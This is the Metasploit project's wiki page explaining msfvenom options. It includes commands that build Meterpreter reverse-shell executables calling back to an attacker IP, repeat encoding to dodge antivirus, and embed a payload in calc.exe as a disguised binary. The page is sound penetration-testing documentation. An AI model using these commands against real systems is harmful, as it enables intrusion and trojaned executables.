How to use msfvenom

Tod Beardsley edited this page Sep 14, 2016 · 20 revisions

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Msfvenom is the combination of payload generation and encoding. It replaced msfpayload and msfencode on June 8th 2015.

To start using msfvenom, first please take a look at the options it supports:

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
        --payload-options            List the payload's standard options
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
    -f, --format        <format>     Output format (use --help-formats for a list)
        --help-formats               List available formats
    -e, --encoder       <encoder>    The encoder to use
    -a, --arch          <arch>       The architecture to use
        --platform      <platform>   The platform of the payload
        --help-platforms             List available platforms
    -s, --space         <length>     The maximum size of the resulting payload
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
    -i, --iterations    <count>      The number of times to encode the payload
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include
    -x, --template      <path>       Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --out           <path>       Save the payload
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
        --smallest                   Generate the smallest possible payload
    -h, --help                       Show this message

How to generate a payload

To generate a payload, there are two flags that you must supply (-p and -f):

  • The -p flag: Specifies what payload to generate

To see what payloads are available from Framework, you can do:

./msfvenom -l payloads

The -p flag also supports "-" as a way to accept a custom payload:

cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
  • The -f flag: Specifies the format of the payload

Syntax example:

./msfvenom -p windows/meterpreter/bind_tcp -f exe

To see what formats are supported, you can do the following to find out:

./msfvenom --help-formats

Typically, this is probably how you will use msfvenom:

$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

How to encode a payload

By default, the encoding feature will automatically kick in when you use the -b flag (the badchar flag). In other cases, you must use the -e flag like the following:

./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

To find out what encoders you can use, you can use the -l flag:

./msfvenom -l encoders

You can also encode the payload multiple times using the -i flag. Sometimes more iterations may help avoiding antivirus, but know that encoding isn't really meant to be used a real AV evasion solution:

./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3 

How to avoid bad characters

The -b flag is meant to be used to avoid certain characters in the payload. When this option is used, msfvenom will automatically find a suitable encoder to encode the payload:

./msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

How to supply a custom template

By default, msfvenom uses templates from the msf/data/templates directory. If you'd like to choose your own, you can use the -x flag like the following:

./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe 

Please note: If you'd like to create a x64 payload with a custom x64 custom template for Windows, then instead of the exe format, you should use exe-only:

./msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe

The -x flag is often paired with the -k flag, which allows you to run your payload as a new thread from the template. However, this currently is only reliable for older Windows machines such as x86 Windows XP.

How to chain msfvenom output

The old msfpayload and msfencode utilities were often chained together in order layer on multiple encodings. This is possible using msfvenom as well:

./msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
./msfvenom -a x86 --platform windows -e x86/countdown -i 8  -f raw | \
./msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe